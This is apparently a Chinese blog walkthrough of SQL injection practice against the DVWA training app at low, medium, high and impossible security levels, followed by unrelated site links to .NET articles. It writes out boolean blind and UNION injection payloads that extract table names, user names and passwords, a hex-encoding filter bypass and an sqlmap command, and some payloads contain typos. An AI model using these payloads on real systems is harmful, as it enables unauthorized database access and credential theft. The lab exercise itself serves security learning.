SQL盲注的过程:
1、判断是否存在注入,注入是字符型还是数字型
2、猜解当前数据库名
猜解数据库名的长度——>猜解数据库名的名称
3、猜解数据库中的表名
猜解库中有几个表——>猜解表名的长度——>猜解表的名称
4、猜解表中的字段名
猜解表中有几个字段——>猜解字段的长度——>猜解字段的名称
5、猜解数据
二、实验环境:首先我们先要打开运行的环境
1、测试机:物理机Windows 10,远程登录DVWA;安装BurpSuite
2、DVWA服务器:Windows Server 2003(192.168.24.130),启动phpStudy。
三、实验过程 基于布尔值的盲注 安全等级:LOW
1、 接下来我们进行数据库的盲注,判断是否存在注入,是字符型还是数据型
输入 1' and '1'='1 ,查询成功,说明存在字符型SQL注入
2、猜解当前数据库名
2.1 猜解数据库名的长度
1' and length(database())=1 # // 设数据库长度为1,报错
1' and length(database())=4 # //数据库名长度为4 发现对了
2.2 猜解数据库的名称
1' and ascii(substr(database(),1,1))=100 # d
1' and ascii(substr(database(),2,1))=118 # v
1' and ascii(substr(database(),3,1))=119 # w
1' and ascii(substr(database(),4,1))=97 # a
试的是10 发现不对,100就对了
3、猜解数据库中的表名
3.1 猜解库中有几个表
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 # //有2个表
3.2 猜解表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 # //猜解第一个表名的长度为9
3.3 确定表的名称(guestbook,users)
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),1))=103 # //g
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1))=117 # //u
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 2,1),1))=101 # //e
4、猜解users表中的字段名
4.1 猜解users表中有几个字段
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # //users表中有8个字段
4.2 猜解字段名的长度
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=4 # //猜解第3个字段的长度
4.3 确定字段的名称(user)
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=117 # //u
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 1,1),1))=115 # //s
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 2,1),1))=101 # //e
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 3,1),1))=114 # //r
5、猜解数据(admin)
1’ and ascii(substr((select user from users limit 0,1)1,1))=97 # //a
1’ and ascii(substr((select user from users limit 1,1)1,1))=100 # //d
1’ and ascii(substr((select user from users limit 2,1)1,1))=109 # //m
1’ and ascii(substr((select user from users limit 3,1)1,1))=105 # //i
1’ and ascii(substr((select user from users limit 4,1)1,1))=110 # //n
好了,简单介绍一下。
接下来进行数据库注入:
判断sql是否存在注入,以及注入的类型
接下来我们猜测sql查询语句中的字段数 1‘ order by 1# (逐渐增加后面的1的大小进行猜测)
当输入3#时就出现了错误,说明只有两列的数据 查询的表的字段数是2
我们来看一下回显
接下来查询当前的数据库,以及版本
1' union select version(),database()#
接下来我们获取数据库的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
接下来我们获取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
下面我们获得字段中的数据
1' union select user,password from users#
我们看到的就是密码 来!让我们都破解了
接下来我们将级别设置为medium 发现user id 已经限制了
看一下源代码 发现增加了一溜规则
这个时候我们不能在这里进行sql注入了,我们可以在别的地方,
我们浏览器启用代理
打开我们的抓包工具
我们抓到包了,我们发的是1 我们在最下面给他改一下
稍微改动,他回显给我们的就不再是1了
还是相同的步骤我们猜测字段个数
看一下3
接下来确定回显位置
获得数据库名称以及版本(注意和low不太一样,后面不能有‘)
获得数据库中所有表
下面获取表中的所有字段名,考虑到单引号被转移,可以利用16进制绕过
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
最后获取字段中的数据
接下来我们将DVWA的级别设置成high 发现当你点中SQL injection界面时会出现一共点击 点击完我们会跳到另外一共界面
我们看一下高级的源码 发现里面没加啥特殊的控制,唯一就是跳了个网页
我们来获得密码
最后我们将级别设置成impossible 看一下它的源码 发现里面加了很多东西,我们暂时莫得办法了
在sqlmap里面进行执行 aqlmap.py -r C:11.txt --level 3
数据库中的这三个表我们要记住因为经常要用到
新瓶旧酒ASP.NET AJAX(10) 客户端脚本编程(Sys.Services命名空间下的类)
步步为营VS 2008 + .NET 3.5(2) VS 2008新特性之JavaScript Intellisense and Debugging(JavaScript的智能感知和调试)
新瓶旧酒ASP.NET AJAX(8) 客户端脚本编程(Sys.Net命名空间下的WebRequestManager、WebRequest、WebRequestExecutor和XMLHttpExecutor)
步步为营VS 2008 + .NET 3.5(11) DLINQ(LINQ to SQL)之大数据量分页、延迟执行和日志记录
步步为营VS 2008 + .NET 3.5(14) XLINQ(LINQ to XML)之针对XML文件的添加、查询、更新和删除
[翻译]ASP.NET 2.0中的健康监测系统(Health Monitoring)(3) 触发自定义事件
稳扎稳打Silverlight(2) 1.0实例之支持录音和回放的钢琴(Silverlight+ASP.NET AJAX+DLINQ)
步步为营VS 2008 + .NET 3.5(7) LINQ查询操作符之First、FirstOrDefault、Last、LastOrDefault、ElementAt、ElementAtOrDefault、Contains、Any、All、Count、LongCount、Sum、Min、Max、Average、Aggregate、Cast、DefaultIfEmpty、SequenceEqual、OfType、ToArray、ToList、ToDictionary
步步为营VS 2008 + .NET 3.5(1) VS 2008新特性之Multi Targeting(多定向)、Web Designer and CSS(集成了CSS的web设计器)和Nested Master Page(嵌套母版页)
- 最新文章
-
下载SQL Server 2008 R2 Express(数据库大小限制提高到10G)
ASP.NET MVC扩展库
Enterprise Library 5.0发布
CamStudio——优秀免费的屏幕录像软件
encodeURIcomponent编码和ASP.NET之间编码转换
AnkhSVN Subversion SCC Provider
分布式文件存储的数据库开源项目MongoDB
Windows Server 2008 R2 Server Core文件操作命令
使用MongoDB的支持Linq 驱动NoRM
在64位Windows 7/2008操作系统上部署32位的Web应用程序错误
- 热门文章
-
九寨沟游记
MongoDb In Action
The jQuery UI CSS Framework
[翻译]在SQL Server中使用CLR调用.NET方法
步步为营VS 2008 + .NET 3.5(6) LINQ查询操作符之Distinct、Union、Concat、Intersect、Except、Skip、Take、SkipWhile、TakeWhile、Single、SingleOrDefault、Reverse、SelectMany
新瓶旧酒ASP.NET AJAX(9) 客户端脚本编程(Sys.Net命名空间下的WebServiceProxy、WebServiceError、Generated Proxy Classes以及调用WebService、PageMethod)
步步为营VS 2008 + .NET 3.5(4) C# 3.0新特性之LambdaExpressions(Lambda表达式)、QuerySyntax(查询语法)和AnonymousTypes(匿名类型)
ASP.NET 2.0中的友好CSS控件适配器的应用 用ul、li呈现CheckBoxList和RadioButtonList
步步为营VS 2008 + .NET 3.5(9) DLINQ(LINQ to SQL)之执行SQL语句的添加、查询、更新和删除
扩展TreeView控件(1) 联动复选框(复选框的全选和取消全选)